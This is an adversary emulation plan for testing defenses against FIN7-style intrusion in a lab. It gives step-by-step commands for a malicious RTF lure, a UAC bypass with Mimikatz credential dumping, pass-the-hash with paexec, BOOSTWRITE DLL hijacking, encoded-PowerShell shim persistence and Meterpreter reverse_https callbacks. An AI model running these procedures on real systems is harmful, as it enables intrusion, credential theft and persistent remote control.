# Scenario 2

# Preface

For the purpose of this emulation plan, FIN7 operations have been separated into 2 scenarios (detections and protections), with steps and granular procedures contained within each. This division enables users to separately test detection and protection capabilities of their defenses. Within each scenario, operations have been broken into specific objectives, which are presented linearly.

While in Scenario 1 each objective enables subsequent objectives, Scenario 2 is designed such that each objective is run independently of any other. Specifically, this scenario is intended to be used in an environment that has protective/preventative defense measures enabled. That said, each organization can tailor this emulation to their individual use case, priorities, and available resources.

This emulation plan contains several placeholder values that are meant to be replaced with values specific to the target environment against which this plan is to be run. For ease of use, a script has been included to automatically make these substitutions, found here.

# Overview - Protections

Emulation of FIN7 usage of tools such as SQLRat, BABYMETAL, BOOSTWRITE, and PILLOWMINT
Scenario begins after delivery of a reverse shell payload distributed via spearphishing
Targeted attack of a hospitality organization with the explicit goal of credit card theft
Split into distinct steps that can be run independently of other steps
Designed to assess protective/preventative defense measures

# Contents

Step 1 - Initial Access with Embedded VBS in Word Document
Step 2 - UAC Bypass and Credential Dumping
Step 3 - Lateral Movement via Pass-the-Hash
Step 4 - DLL Hijacking
Step 5 - Shim Persistence

# Test 1 - Initial Access with Embedded VBS in Word Document (Evaluations Test 11)

The scenario begins with an initial breach where a legitimate user (T1204) opens an RTF document and double clicks text that says "Double Click Here to Unlock Contents". The RTF file contains an embedded Visual Basic payload (T1027). After double clicking the text block, mshta.exe executes (T1170) the Visual Basic payload(T1059). mshta.exe then assembles embedded text within the RTF file into a JavaScript payload. Next, mshta.exe makes a copy of the legitimate wscript.exe on disk as Adb156.exe (T1036). winword.exe spawns verclsid.exe (T1175). mshta.exe loads taskschd.dll and creates a scheduled task to execute in 5 minutes (T1053). The previously created scheduled task spawns Adb156.exe via svchost (T1053.005). Adb156.exe then loads scrobj.dll and executes sql-rat.js via jscript(T1059.7). Next, Adb156.exe connects to 192.168.0.6 via MSSQL transactions (T1071) (TCP port 1433). Finally, FIN7 performs WMI queries to obtain network configuration information (T1016) and system information (T1082).

This step consists of behaviors found in Step 1 of Scenario 1.

# Procedures

# 1.A - Start C2 Server

On the Windows Attack Platform:

Open a CMD prompt
cd to the c2fin7.exe binary

Execute the following command

[ATT&CK RAT]> .\c2fin7.exe -server 192.168.0.6

# 1.B - User Execution: Malicious File (using Microsoft Word) (T1204.002)

If testing with Microsoft Word, perform the following. If not, perform Step 1.B* instead.

On the Linux Attack Platform:

Copy 2-list.rtf to <domain_admin>'s Desktop on hotelmanager.

sudo smbclient -U '<domain_full>\<domain_admin>' //<hotelmanager_ip>/C$ -c "put fin7/Resources/Step1/2-list.rtf Users\\<domain_admin>.<domain>\\Desktop\\2-list.rtf"

Provide <domain_admin>'s password when prompted:

<domain_admin_password>

On hotelmanager:

xfreerdp +clipboard /u:"<domain_admin>@<domain_full>" /p:"<domain_admin_password>" /v:<hotelmanager_ip>

Double-click 2-list.rtf located on <domain_admin>'s desktop
Decline any spurious prompts, including updating document with linked data
Double click the text that says "Double Click Here To Unlock Contents"
When prompted to run an lnk file, click "open"
Set a timer for 6 minutes - the scheduled task will fire 5 minutes after opening the lnk file on the minute so take 6 to be safe

# 1.B* - User Execution: Malicious File (without using Microsoft Word)

Perform the following if you're testing without Office licenses:

On the Linux Attack Platform:

Upload 2-list.rtf, unprotectedNoWord.lnk, and obfuscated-payload.vbs to hotelmanager as 2-list.rtf, 2-list.lnk, and payload.vbs respectively

sudo smbclient -U '<domain_full>\<domain_admin>' //<hotelmanager_ip>/C$ -c "put fin7/Resources/Step1/SQLRat/2-list.rtf Users\\<domain_admin>.<domain>\\Desktop\\2-list.rtf; put /home/<attacker>/Enterprise/fin7/Resources/Step1/unprotectedNoWord.lnk Users\\<domain_admin>.<domain>\\Desktop\\2-list.lnk; put /home/<attacker>/Enterprise/fin7/Resources/Step1/obfuscated-payload.vbs Users\\<domain_admin>.<domain>\\AppData\\Local\\payload.vbs"

Provide <domain_admin>'s password when prompted:

<domain_admin_password>

On hotelmanager:

xfreerdp +clipboard /u:"<domain_admin>@<domain_full>" /p:"<domain_admin_password>" /v:<hotelmanager_ip>

Double-click 2-list.rtf located on <domain_admin>'s desktop
Decline any spurious prompts, including updating document with linked data
Double click 2-list.lnk on <domain_admin>'s Desktop
Set a timer for 6 minutes - the scheduled task will fire 5 minutes after opening the lnk file on the minute so take 6 to be safe

# 1.C - SQLRat Execution via Scheduled Task (T1053.005)

On the Windows Attack Platform:

1. To verify that you have a new session on hotelmanager from your C2 server, run the following command to get the MAC of hotelmanager
```
(ATT&CK Evals) > get-mac-serial
```
Delete scheduled the previously created scheduled task via SQLRat to prevent re-firing
```
(ATT&CK Evals) > exec-cmd "schtasks.exe /Delete /TN \"Micriosoft Update Service\" /F"
```
Kill the existing session
```
(ATT&CK Evals) > exec-cmd "taskkill /F /IM adb156.exe"
```
The C2 server should repeatedly say "Waiting for response..." This indicates that the session was successfully terminated.
Close the C2 server
```
(ATT&CK Evals) > exit
```

Close the RDP session to hotelmanager.

# Cited Intelligence

FIN7 has created malicious DOCX and RTF lures that convince users to double-click on an image in the document. When a user double-clicks an image, an embedded malicious LNK file is spawned that launches mshta.exe, which executes a VBScript one-liner to decode a script hidden in the document. ⁴
FIN7 has copied wscript.exe into %LOCALAPPDATA% and renamed it. ^{3, 25}
FIN7 has created scheduled tasks to establish persistence. ^{23, 4}

# Test 2 - UAC Bypass and Credential Dumping (Evaluations Test 12)

In this step, FIN7 uploads 2 files to hotelmanager (T1105). These are samcat.exe, a modified version of Mimikatz, and uac-samcats.ps1, a PowerShell T1059.001 wrapper script that performs a UAC bypass T1548.002 before executing samcat.exe. After uploading these files, FIN7 logs into hotelmanager T1078.002 and executes uac-samcats.ps1 to dump credentials T1003.001 from an elevated user context.

This step consists of behaviors found in Step 5 of Scenario 1.

# 2A - UAC Bypass and Credential Dumping (T1105, T1086)

On the Linux Attack Platform:

Upload samcat.exe (modified Mimikatz) and uac-samcats.ps1 (UAC Bypass script) to hotelmanager

sudo smbclient -U '<domain>\<domain_admin>' //<hotelmanager_ip>/C$ -c "put /home/<attacker>/Enterprise/fin7/Resources/Step5/samcat.exe Users\\<domain_admin>.<domain>\\AppData\\Local\\samcat.exe; put /home/<attacker>/Enterprise/fin7/Resources/Step5/uac-samcats.ps1 Users\\<domain_admin>.<domain>\\AppData\\Local\\uac-samcats.ps1"

Provide <domain_admin>'s password when prompted:

<domain_admin_password>

On hotelmanager:

RDP in as <domain_admin>

xfreerdp +clipboard /u:<domain>\\<domain_admin> /p:"<domain_admin_password>" /v:<hotelmanager_ip>

Open a PowerShell window
Execute the uac-samcats.ps1 PowerShell script
```
powershell > C:\Users\<domain_admin>.<domain>\AppData\Local\uac-samcats.ps1
```
Wait for the script to return. You should see credentials dumped to the screen.
After uac-samcats.ps1 completes, close the RDP session on Hotel Manager

# Cited Intelligence

FIN7 has used memory scrapers such as mimikatz to dump the passwords of logged on users. ^{9, 6}
The Carbanak malware has contained a UAC bypass. ¹⁰

# Test 3 - Lateral Movement via Pass-the-Hash (Evaluations Test 13)

Step 3 begins with FIN7 downloading paexec.exe and hollow.exe via powershell.exe (T1105) to <domain_admin>'s AppData\Local\ directory on hotelmanager. Next, FIN7 uses a previously obtained password hash to perform a pass-the-hash attack (T1550.002) with paexec.exe (T1021.002) in order to copy hollow.exe onto itadmin from hotelmanager as <domain_admin>. paexec.exe starts a temporary Windows service (T1035) during the copying process called PAExec-{PID}-{HOSTNAME}.exe which executes hollow.exe (T1021.002). hollow.exe spawns svchost.exe and unmaps its memory image (T1055.012) to insert its payload. svchost.exe then exchanges data with 192.168.0.4 over HTTPS (T1071.001, T1573.002).

This step consists of behaviors found in Step 6 of Scenario 1.

# Procedures

# 3.A - Service Execution via Pass-the-Hash (T1075, T1077, T1105, T1059, T1095, T1032)

On the Linux Attack Platform:

Start tmux if it is not already started
```
tmux
```
Start Metasploit
```
sudo msfconsole
```

Setup a Meterpreter handler for hollow.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lport 443
set lhost 192.168.0.4
set ExitOnSession False
exploit -j

Open a new tmux window
```
Ctrl+b c
```

Upload paexec.exe and hollow.exe to hotelmanager

sudo smbclient -U '<domain>\<domain_admin>' //<hotelmanager_ip>/C$ -c "put /home/<attacker>/Enterprise/fin7/Resources/Step6/paexec.exe Users\\<domain_admin>.<domain>\\AppData\\Local\\paexec.exe;put /home/<attacker>/Enterprise/fin7/Resources/Step6/hollow.exe Users\\<domain_admin>.<domain>\\AppData\\Local\\hollow.exe"

Provide <domain_admin>'s password when prompted:

<domain_admin_password>

Exit this tmux window to get back to the Metasploit window
```
exit
```

On hotelmanager:

RDP into hotelmanager as <domain_admin>

xfreerdp +clipboard /u:<domain>\\<domain_admin> /p:"<domain_admin_password>" /v:<hotelmanager_ip>

Open a CMD prompt

cd to the AppData\Local directory

cmd > cd C:\\Users\\<domain_admin>.<domain>\\AppData\\Local

Use paexec.exe to perform pass-the-hash to execute hollow.exe on itadmin

cmd > .\paexec.exe \\<itadmin_ip> -s -u <domain>\<domain_admin> -p <domain_admin_password_hash> -c -csrc ".\hollow.exe" hollow.exe

You should receive a new Meterpreter session.

Back on the Linux Attack Platform:

Interact with the the newly created Meterpreter session
```
msf > sessions -i 1
```
Execute getpid to verify that the Meterpreter session is functional
```
meterpreter > getpid
```
Exit Meterpreter session
```
meterpreter > exit
```
Exit Metasploit
```
msf > exit
```
Exit tmux
```
exit
```

Close the RDP session to hotelmanager.

# Cited Intelligence

FIN7 has used PAExec to execute remote commands and move laterally within an environment. ^{9, 6}
FIN7 has performed process injection to execute malicious payloads from memory. ^{19, 13}

# Test 4 - DLL Hijacking (Evaluations Test 14)

Step 4 focuses on emulating the DLL Hijacking and module execution functionality of BOOSTWRITE. This step starts by creating a BOOSTWRITE Meterpreter handler and staging a temporary Python HTTP server that returns the ASCII character "B" as an XOR decryption key. BOOSTWRITE.dll is then uploaded to itadmin as C:\Windows\SysWOW64\srrstr.dll (T1105). The srrstr.dll DLL is masquerading (T1036.005 as the legitimate srrstrl.dll found in C:\Windows\System32. Next, cmd.exe spawns from svchost.exe(T1059.003) to execute SystemPropertiesAdvanced.exe, which in turn loads and executes the malicious srrstr.dll(T1574). After srrstr.dll has been loaded and executed, rundll32.exe is spawned as a child process to communicate with the C2 server over HTTPS on port 8080 (T1071, T1573) granting a new shell to the adversary.

This step consists of behaviors found in Step 7 of Scenario 1.

# Procedures

# 4.A - Prepare BOOSTWRITE Handler

On the Linux Attack Platform:

Start tmux if it is not already started
```
tmux
```
Start Metasploit
```
sudo msfconsole
```

Setup a Meterpreter handler on 8080 for the BOOSTWRITE shell

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LPORT 8080
set LHOST 192.168.0.4
set ExitOnSession false
exploit -j

Open a new tmux window
```
Ctrl+b c
```

Setup a Python HTTP server to host the XOR key needed by BOOSTWRITE

echo "B" > /tmp/index.html; cd /tmp/; sudo python3 -m http.server 80

# 4.B - DLL Search-Order Hijacking (T1105, T1574.001)

On your Ubuntu machine:

RDP into itadmin

xfreerdp +clipboard /u:<domain>\\<domain_admin> /p:"<domain_admin_password>" /v:<itadmin_ip>

On the Linux Attack Platform:

Open a new tmux window
```
Ctrl+b c
```

Upload BOOSTWRITE.dll to C:\Windows\Syswow64\ on itadmin

sudo smbclient -U '<domain>\<domain_admin>' //<itadmin_ip>/C$ -c "put /home/<attacker>/Enterprise/fin7/Resources/Step7/BOOSTWRITE.dll Windows\\SysWOW64\\srrstr.dll"

Provide <domain_admin>'s password when prompted:

<domain_admin_password>

Exit current tmux window
```
exit
```

On itadmin:

Open an administrator CMD prompt
Execute SystemPropertiesAdvanced.exe to perform the DLL Hijack
```
cmd > C:\\Windows\\Syswow64\\SystemPropertiesAdvanced.exe"
```
You should receive a new Meterpreter session on the Linux Attack Platform.

Back on the Linux Attack Platform:

Stop Python HTTP server
```
Ctrl+c
```
Exit Python HTTP server tmux window
```
exit
```
Interact with the newly created Meterpreter session
```
msf > sessions -i 1
```
Execute getpid to verify that the Meterpreter session is functional
```
meterpreter > getpid
```
Sometimes it takes 1-2 minutes for the reflective DLL to register to the C2 server.

If you execute getpid and receive no output, wait 30 seconds and try again.
Exit Meterpreter session
```
meterpreter > exit
```
Exit Metasploit
```
msf > exit
```
Exit tmux session
```
exit
```

Close the RDP session to itadmin.

# Cited Intelligence

BOOSTWRITE is a loader that has been launched via abuse of the DLL search order of applications which load legitimate services. This has included matching names of legitimate DLLs to force applications to import BOOSTWRITE DLLs instead of the legitimate DLLs.²

# Test 5 - Shim Persistence (Evaluations Test 15)

Step 5 focuses on emulating persistence techniques. Adversary emulation begins with a valid logon to the accounting workstation as <domain_admin> (T078). After establishing an RDP session from itadmin to accounting over TCP port 3389 (T1021, T1090), FIN7 runs an encoded PowerShell command (T1059). This PowerShell command downloads dll329.dll and sdbE376.tmp from the Linux Attack Platform (T1105), and then executes sdbinst.exe to install an application shim (T1546.011) with the downloaded files.

This step consists of behaviors found in Steps 9 and 10 of Scenario 1.

# Procedures

# 5.A - Setup Shim Persistence (T1546.001)

On the Linux Attack Platform:

Start Metasploit
```
sudo msfconsole
```

Start a Meterpreter handler on port 53

msf > handler -p windows/meterpreter/reverse_https -H 192.168.0.4 -P 53

On accounting:

RDP into accounting

xfreerdp +clipboard /u:<domain>\\<domain_admin> /p:"<domain_admin_password>" /v:<accounting_ip> /drive:X,<ubuntu_fin7_dir_abs_path>/Resources/Step9

Open an administrative PowerShell session

Execute the following Powershell command, which will install the application shim for persistence

powershell > powershell -noprofile -encodedCommand "JABkAGwAbAAgAD0AIABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAiAFwAXAB0AHMAYwBsAGkAZQBuAHQAXABYAFwAYgBpAG4AMwAyADkALgB0AG0AcAAiACAALQBFAG4AYwBvAGQAaQBuAGcAIABCAHkAdABlADsAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAEQAUgBNAFwAIgAgAC0ATgBhAG0AZQAgACIANAAiACAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAQgBpAG4AYQByAHkAIAAtAFYAYQBsAHUAZQAgACQAZABsAGwAIAAtAEYAbwByAGMAZQA7ACAAIABDAG8AcAB5AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAXABcAHQAcwBjAGwAaQBlAG4AdABcAFgAXABkAGwAbAAzADIAOQAuAGQAbABsACIAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgAgAC0ARgBvAHIAYwBlADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAXABcAHQAcwBjAGwAaQBlAG4AdABcAFgAXABzAGQAYgBFADMANwA2AC4AdABtAHAAIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcAAiACAALQBGAG8AcgBjAGUAOwAgACAAJgAgAHMAZABiAGkAbgBzAHQALgBlAHgAZQAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABzAGQAYgBFADMANwA2AC4AdABtAHAAIgA7AA=="

# 5.B - Execute Shim Persistence (T1546.001)

Reboot accounting
```
powershell > Restart-Computer -Force
```
Wait for accounting to start back up and then RDP in once again
```
xfreerdp +clipboard /u:<domain>\\<domain_admin> /p:"<domain_admin_password>" /v:<accounting_ip>
```
You should receive a new Meterpreter callback on the Linux Attack Platform.

On the Linux Attack Platform:

Interact with the new Meterpreter session
```
msf > sessions -i 1
```
Execute getpid to verify that the Meterpreter session is functional
```
meterpreter > getpid
```
Exit Meterpreter session
```
meterpreter > exit
```
Exit Metasploit
```
msf > exit
```

Close the RDP session to accounting.

# Cited Intelligence

The Carbanak malware is capable of performing network tunneling. ²¹
FIN7 has utilized terminal services such as Remote Desktop Protocol (RDP) to move laterally within environments. ⁹
FIN7 has leveraged an application shim database registered using the sdbinst.exe utility to achieve persistence on systems in multiple environments. To install and register the malicious shim database, FIN7 has used custom Base64 encoded PowerShell scripts. ²⁴
FIN7 has utilized application shimming to execute a payload stored within the registry. ²⁴